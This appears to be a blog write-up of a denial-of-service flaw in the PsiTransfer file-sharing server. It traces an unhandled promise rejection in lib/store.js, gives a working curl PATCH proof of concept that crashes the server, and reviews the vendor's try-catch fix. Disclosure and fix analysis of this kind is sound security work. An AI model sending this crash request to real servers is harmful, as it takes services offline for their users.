Skip to content

WRITING / POSTS

PsiTransfer DoS Vulnerability Analysis and Reproduction

An upload PATCH request for an uninitialized file can crash PsiTransfer through an unhandled rejection. This note traces lib/store.js, reproduces the crash, and reviews the fix.

On this page 6 sections

Build software better, together

Summary

A Denial of Service (DoS) vulnerability exists in psitransfer due to improper exception handling in the file upload logic. An unauthenticated attacker can crash the server by sending a specific HTTP PATCH request, which triggers an unhandled promise rejection in lib/store.js.

Details

The vulnerability is located in lib/store.js. When the server processes an upload via the tus protocol, it listens for the finish event on the write stream. Inside this event listener, it attempts to retrieve file metadata using this.info(fid).

If a PATCH request is sent for a file ID that has not been initialized (e.g., via a preceding POST request), the this.info(fid) method throws a 404 Not Found error. Because this logic is wrapped inside a async event handler without a try-catch block, the error becomes an UnhandledPromiseRejection. This causes the entire Node.js process to terminate immediately, resulting in a denial of service.

Vulnerable Code (lib/store.js):

ws.on('finish', async () => {
  // ...
  // specific logic
  const info = await this.info(fid); // <--- Throws error if file doesn't exist
  // ...
});

PoC

You can reproduce this vulnerability by sending a single PATCH request to a running PsiTransfer instance using curl.

  1. Start the server:
npm start
  1. Run the exploit:
curl -X PATCH http://localhost:3000/files/crash_test_poc \
  -d "payload" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream"
  1. Observation: The server process crashes with Exit code: 1 and logs:
Error: UnhandledPromiseRejection
...
NotFoundError: Not Found
    at Store.info (.../lib/store.js:...)

Impact

This vulnerability allows any unauthenticated attacker (network access required) to remotely crash the PsiTransfer server with a single request. The file-sharing service becomes completely unavailable until an administrator restarts it manually.

Remediation

The vendor fixed this vulnerability in the latest version. The fix wraps the vulnerable asynchronous logic in a try-catch block to handle exceptions properly.

Fix Analysis

In lib/store.js, the append method was modified to catch exceptions during the finish event handler. Previously, a failure here (such as a missing file) would cause an unhandled promise rejection. The fix ensures that any error is caught and passed to the promise reject function, preventing the process from crashing.

Code Diff:

fix: graceful handle errors during data appending in Store · psi-4ward/psitransfer@2989bb2

     const ret = new Promise((resolve, reject) => {
       ws.on('finish', async() => {
-        const info = await this.info(fid);
-        if(info.size >= info.uploadLength) delete info.isPartial;
-        await fsp.writeJson(this.getFilename(fid) + '.json', info);
-        debug(`Finished appending Data to ${this.getFilename(fid)}`);
-        return resolve({ offset: info.offset, upload: info });
+        try {
+          const info = await this.info(fid);
+          if(info.size >= info.uploadLength) delete info.isPartial;
+          await fsp.writeJson(this.getFilename(fid) + '.json', info);
+          debug(`Finished appending Data to ${this.getFilename(fid)}`);
+          return resolve({ offset: info.offset, upload: info });
+        } catch (e) {
+          return reject(e);
+        }
       });
       ws.on('error', reject);
     });
Edit this post
Previous post
HNUCTF 2026 Operations Notes
Next post
n8n Expression Injection RCE: CVE-2025-68613 Analysis and Reproduction

On this page

SEARCH / QUICK FIND

Search English content

Try searching